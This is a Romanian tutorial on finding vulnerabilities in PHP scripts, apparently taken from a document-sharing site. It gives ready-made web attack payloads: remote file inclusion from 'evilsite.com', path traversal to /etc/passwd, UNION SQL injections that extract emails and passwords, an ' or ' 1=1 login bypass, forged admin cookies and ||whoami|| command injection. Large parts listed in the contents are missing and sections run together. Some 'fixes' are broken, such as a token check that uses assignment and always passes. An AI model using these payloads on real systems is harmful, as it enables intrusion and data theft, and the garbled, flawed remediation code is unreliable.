Documente Academic
Documente Profesional
Documente Cultură
Code:
Nume : Gasirea vulnerabilitatilor in scripturi PHP (cu exemple)
Autor : SirGod
Email : sirgod08@gmail.com
Website : www.twitter.com/SirGod
Continut :
1) Despre
2) Cateva lucruri
3) Remote File Inclusion
3.0 - Exemplu de baza
3.1 - Exemplu simplu
3.2 - Cum sa fixezi
4) Local File Inclusion
4.0 - Exemplu de baza
4.1 - Exemplu simplu
4.2 - Cum sa fixezi
5) Local File Disclosure/Download
5.0 - Exemplu de baza
5.1 - Exemplu simplu
5.2 - Cum sa fixezi
6) SQL Injection
6.0 - Exemplu de baza
6.1 - Exemplu simplu
6.2 - SQL Login Bypass
6.3 - Cum sa fixezi
7) Insecure Cookie Handling
7.0 - Exemplu de baza
7.1 - Exemplu simplu
7.2 - Cum sa fixezi
8) Remote Command Execution
8.0 - Exemplu de baza
8.1 - Exemplu simplu
8.2 - Exemplu avansat
8.3 - Cum sa fixezi
9) Remote Code Execution
9.0 - Exemplu de baza
9.1 - Exemplu simplu
9.2 - Cum sa fixezi
10) Cross-Site Scripting
10.0 - Exemplu de baza
10.1 - Alt example
10.2 - Exemplu simplu
10.3 - Cum sa fixezi
11) Authentication Bypass
11.0 - Exemplu de baza
11.1 - Prin intemediul unei variabile de login
11.2 - Admin CP neprotejat
11.3 - Cum sa fixezi
12) Insecure Permissions
12.0 - Exemplu de baza
12.1 - Citire users/passwords
12.2 - Descarcare backup-uri
12.3 - Fisierele INC
12.4 - Cum sa fixezi
13) Cross Site Request Forgery
13.0 - Exemplu de baza
13.1 - Exemplu simplu
13.2 - Cum sa fixezi
14) Salutari
1) In acest tutorial va voi arata cum sa gasiti vulnerabilitati in scripturi php.Nu va voi explica cum
sa exploatati vulnerabilitatile,este destul de simplu si puteti gasii informatii pe internet.Toate
exemplele in afara de exemplul de baza(creat de mine pentru a va da un exemplu simplu) al fiecarei
categorii au fost gasite de mine in diferite scripturi.
2) Prima data,instalati Apache,PHP si MySQL pe computerul vostru.In plus,puteti instala phpMyAdmin.
Puteti instala WAMP,le contine pe toate.Majoritatea vulnerabilitatilor au nevoie de conditii speciale
pentru a putea fi exploatate.De aceea va trebuii sa setam corespunzator fisierul de configurare PHP
(php.ini).O sa va arat ce configuratie folosesc eu si de ce:
Cum sa incepeti : Prima data,creati o baza de date care va fi folosita de diferite scripturi.Instalati
scriptul pe localhost si incepeti auditul codului php.Daca credeti ca ati gasit ceva,deschideti browserul
si verificati,poate ati gresit.
- Putem sa vedem ca variabila "pagina" este nedeclarata.Putem seta ce valoare vrem variabilei "pagina".Exemplu :
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
Acum o sa va arat de ce unii folosesc ? sau %00 dupa link-ul catre scriptul malitios.
# "%00"
- Cod aflat in download.php
-----------------------------------------------------------------------------------
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));
//header( "Content-Description: File Transfer");
@readfile($file);
die();
-----------------------------------------------------------------------------------
Variabila "file" nu este securizata.Putem observa in prima linie ca este ceruta prin metoda
$_REQUEST.Si continutul fisierului este afisat prin intermediul functiei readfile().Deci putem
vedea continutul unui fisier arbitrar.
Daca facem urmatoarea cerere :
http://127.0.0.1/download.php?file=../../../../../../etc/passwd
Putem citii cu succes fisierul "etc/passwd".
5.2 - Cum sa fixezi
Metoda simpla : Nu permite caractere speciale in variabile.Filtreaza "." .
Alta metoda : Filtreaza "/" , "\" si "." .
6) SQL Injection
- Sfaturi : Daca utilizatorul MySQL are drepturi,putem citii fisiere.
Daca utilizatorul MySQL are drepturi, gasim un director cu permisiuni de scriere si daca
magic_quotes_gpc = off
putem uploada codul nostru intr-un fisier.
6.0 - Exemplu de baza
- Cod aflat in test.php
----------------------------------------------------------------------------------
<?php
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>
----------------------------------------------------------------------------------
Variablia "id" nu este securizata.Putem injecta codul nostru SQL in variabila "id".Exemplu :
http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--
Si vom obtine continutul fisierului "etc/passwd" daca magic_qoutes=off (escapeaza ') si daca
userul MySQL are privilegii asupra fisierelor. Daca magic_qoutes=on convertim etc/passwd la hex.
6.1 - Exemplu simplu
- Cod aflat in house/listing_view.php
-----------------------------------------------------------------------------------------------------------------------------
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from
Rentals where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
-----------------------------------------------------------------------------------------------------------------------------
Putem observa ca variabila "id" ia valoarea setata pentru "itemnr" si nu este filtrata in nici un fel.
Deci putem injecta codul nostru.Sa facem o cerere :
http://127.0.0.1/house/listing_view.php?
itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--
Si vom extrage un email si o parola din tabelul users.
6.2 - SQL Injection Login Bypass
- Cod aflat in /admin/login.php
------------------------------------------------------------------------------------------------------------------------------
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND
password = '$postpass'")
or die("<p>" . mysql_error() . "</p>\n");
------------------------------------------------------------------------------------------------------------------------------
Variabilele nu sunt verificate corespunzator.Putem trece de acest form de logare.Sa injectam urmatorul username
si
urmatoarea parola :
username : admin ' or ' 1=1
password : sirgod
Ne-am logat cu succes.De ce?Priviti cu atentie la interogarea SQL :
---------------------------------------------------------------------------------------------------------------------------------
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND
password = 'sirgod'")
---------------------------------------------------------------------------------------------------------------------------------
Am trecut de login.Username-ul trebuie sa fie unul existent.
6.3 - Cum sa fixezi
Metoda simpla : Nu permite caractere speciale in variabile.Pentru variabile numerice
foloseste (int) ,examplu $id=(int) $_GET['id'];
Alta metoda : Pentru variabilele non-numerice : filtreaza toate caracterele speciale folosite
in injectiile SQL
SQLI : - , . ( ) ' " _ + / *
7) Insecure Cooke Handling
- Sfaturi : Scrie codul in URL-bar,nu utiliza un cookie editor pentru asta.
7.0 - Exemplu de baza
- Cod aflat in test.php
---------------------------------------------------------------
if($_POST['password'] == $thepass) {
setcookie("is_user_logged","1");
} else { die("Login failed!"); }
............ etc .................
if($_COOKIE['is_user_logged']=="1")
{ include "admin.php"; else { die('not logged'); }
---------------------------------------------------------------
Ceva interesant aici.Daca atribuim valoarea "1" variabilei "is_user_logged"
salvata in cookie vom fi logati.Exemplu :
javascript:document.cookie = "is_user_logged=1; path=/";
Suntem logati,trecem de verificare si putem accesa panoul de admin.
7.1 - Exemplu simplu
- Cod aflat in admin.php
----------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:<BR><form method=post><input type=password
name=password><input type=hidden value=login name=login><input
type=submit></form>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
----------------------------------------------------------------
Codul arata exploatabil.Putem seta valori variabilelor aflate in cookie
pentru a trece de logare si a pacali scriptul ca ne-am logat deja.Exemplu :
javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700;
path=/";
Ce este 1246371700? Este time() + 360 .
7.2 - Cum sa fixezi
Metoda simpla : Cea mai simpla si eficienta cale : folositi SESIUNI .
8) Remote Command Execution
- Sfaturi : Daca un script foloseste exec() nu vom putea vedea rezultatul comenzii(dar comanda este
executata) pana cand rezultatul nu este printat din script.
Putem folosii operatorul OR ( || ) daca scriptul executa mai mult de o comanda.
In PHP exista cateva comenzi prin intermediul carora putem executa comenzi :
Variabila "ns" nu este filtrata si atacatorul poate specifica orice valoare.Un atacator poate folosi
orice comanda prin intermediul acestei variabile.
Sa facem o cerere :
http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
Injectia nu va functiona.De ce?Comanda executata va fi "dig whoami sirgod.com NS" si nu
va functiona desigur.Sa incercam in alt fel.Avem operatorul OR (||) si il vom folosi
pentru a "separa" comenzile.Exemplu :
http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
Comanda noastra va fi executata.Comanda va devenii "dig ||whoami|| sirgod.net NS" .
Si vom primii o eroare.Nu e bine.Trebuie sa injectam un cod corespunzator pentru a primii ceea ce vrem.
.htaccess :
order deny, allow
deny from all
allow from 127.0.0.1
.htpasswd :
AuthUserFile /the/path/.htpasswd
AuthType Basic
AuthName "Admin CP"
Require valid-user
and /the/path/.htpasswd
sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.
12) Insecure Permissions
Sfaturi : Uitati-va cu atentie in scripturi,verificati daca scriptul
cere autentificare pentru a face diferite lucruri(e.g backup).
Uitati-va dupa permisiuni nesigure,poate putem face lucruri
administrative fara a fi logati ca admin.
12.0 - Exemplu de baza
Ne gandim la un script care lasa administratorul sa vada continutul
bazei de date prin intermediul unui fisier plasat in folderul
/admin .Acel fisier sa aiba numele : db_lookup.php .
- Cod aflat in admin/db_lookup.php
--------------------------------------------
<?php
// Lookup in the database
readfile('protected/usersdb.txt');
?>
--------------------------------------------
Sa ne gandim.Nu putem accesa folderul "protected" pentru ca
este protejat de .htaccess.Dar sa ne uitam la fisierul acesta.
Nu verifica daca suntem logati,nimica.Deci daca facem urmatoarea
cerere :
http://127.0.0.1/admin/db_lookup.php
Putem vedea baza de date.Tineti minte,acesta este un exemplu creat de mine,
nu unul real,dar puteti gasii vulnerabilitati de genul acesta in scripturi.
12.1 - Citire users/passwords
Da,unii programatori sunt de-a dreptul idioti.Salveaza utilizatorii si
parolele in fisiere text,NEPROTEJATE.Un exemplu dintr-un script :
http://127.0.0.1/userpwd.txt
Si putem citii fisierul,utilizatorii si parolele lor se afla acolo.
12.2 - Descarcare backup-uri
Unele scripturi au functia de backup al bazei de date.Unele sunt sigure,altele nu.
O sa va arat un exemplu real :
- Cod aflat in /adminpanel/phpmydump.php
--------------------------------------------------------------------------------
function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
$con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");
$db=@mysql_select_db($dbname,$con) or die("Could not select db");
.............................. etc ..........................
mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
--------------------------------------------------------------------------------
Dupa o gramada de cod,functia este apelata.Nu am copiat tot codul pentru ca este
urias.Am analizat scriptul,nu este necesar login,nu este nici o verificare,nimic.
Deci daca accesam fisierul direct backup-ul bazei de date va incepe.Exemplu :
http://127.0.0.1/adminpanel/phpmydump.php
Acum avem backup-ul bazei de date salvat la noi pe computer.
12.3 - Fisierele INC
Unele scripturi salveaza date importante in fisiere INC.De obicei in fisierele
INC se afla cod PHP care contine datele de conexiune la baza de date.Fisierele INC
pot fi vizualizate in browser,chiar daca contin cod PHP.Cu o simpla cerere vom
avea aces la fisier.Exemplu :
http://127.0.0.1/inc/mysql.inc
Acum avem detaliile de conexiune la baza de date.
12.4 - Cum sa fixezi
- Exemplu de baza : Verificati daca administratorul este logat,daca nu,redirectionati.
- Citire users/passwords : Salvati inregistrarile intr-o baza de date MySQL sau
intr-un fisier/folder protejat.
- Descarcare backup-uri : Verificati daca administratorul este logat,daca nu,redirectionati.
- Fisierele INC : Salvati datele de conexiune in fisiere php sau protejati
folderul cu .htaccess .
13) Cross Site Request Forgery
- Sfaturi : Prin intermediul CSRF putem chiar schimba parola de administrator.
Poate fi folosit prin intermediul XSS,redirectionare.
13.0 - Exemplu de baza
- Cod aflat test.php
-----------------------------------------
<?php
check_auth();
if(isset($_GET['news']))
{ unlink('files/news'.$news.'.txt'); }
else {
die('File not deleted'); }
?>
-----------------------------------------
In acest exemplu veti vedea ce este CSRF si cum functioneaza.In folderul
"files" sunt salvate stirile scrise de un autor.Stirile sunt salvate
in modul "news1.txt","news2.txt" etc.Administratorul poate sterge stirile.
Stirile pe care vrea sa le stearga vor fi precizate prin intermediul
variabilei "news".Daca vrea sa stearga "news1.txt" valoarea variabilei
"news" va fi "1".Nu putem executa asta fara permisiuni de administrator,
scriptul verifica daca administratorul este logat.Daca facem urmatoarea
cerere :
http://127.0.0.1/test.php?news=1
Fisierul /news/news1.txt va fi sters.Scriptul sterge direct fisierul fara nici
o avertizare.Putem folosi asta pentru a sterge un fisier.Tot ce trebuie sa facem
este sa convingem adminul sa acceseze link-ul nostru si fisierul corespunzator
valorii variabilei setate de noi va si sters.
13.1 - Exemplu simplu
Intr-un fel codurile de mai jos sunt incluse in index.php, nu voi
copia aia toate incluziunile pentru ca sunt o gramada.
- Cod aflat in includes/pages/admin.php
--------------------------------------------------------------------
if ($_GET['act'] == '') {
include "includes/pages/admin/home.php";
} else {
include "includes/pages/admin/" . $_GET['act'] . ".php";
--------------------------------------------------------------------
Aici putem observa cum "includes/pages/admin/members.php" este inclusa in acest fisier.
Daca valoarea variabilei "act" va fi egala cu "members" fisierul acesta va fi inclus.
- Cod aflat in includes/pages/admin/members.php
----------------------------------------------------------------------------------------------
if ($_GET['func'] == 'delete') {
$del_id = $_GET['id'];
$query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
$result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
while ($results2121 = mysql_fetch_array($result2121)) {
$their_role = $results2121['ROLE'];
}
if ($their_role != '1') {
mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
());
----------------------------------------------------------------------------------------------
Putem observa ca daca valoarea variabilei "func" este egala cu "delete",
scriptul va sterge din baza de date un user caruia ii corespunde ID-ul($id)
specificat fara nici o avertizare.Exemplu :
http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4
Scriptul va verifica daca adminul este logat, deci daca vom putea pacali administratorul
sa acceseze link-ul nostru,utilizatorul cu ID-ul specificat de noi in link va fi sters
fara nici o avertizare.
13.2 - Cum sa fixezi
- Metoda simpla : Folositi token-uri.La fiecare login,generati un token random si
salvati-l in sesiune.Cereti tokenul in URL pentru a executa comenzi
administrative.Daca token-ul lipseste sau este incorect,nu executati
actiunile.Va voi arata un exemplu :
-------------------------------------------------------
<?php
check_auth();
if(isset($_GET['news']) && $token=$_SESSION['token'])
{ unlink('files/news'.$news.'.txt'); }
else {
die('Error.'); }
?>
-------------------------------------------------------
Cererea noastra va fi devenii :
http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]
Si cererea va fi corecta.
- Alta metoda : Realizati confirmari complicate sau cereti o parola pentru a putea
executa comenzi administrative.
14) Salutari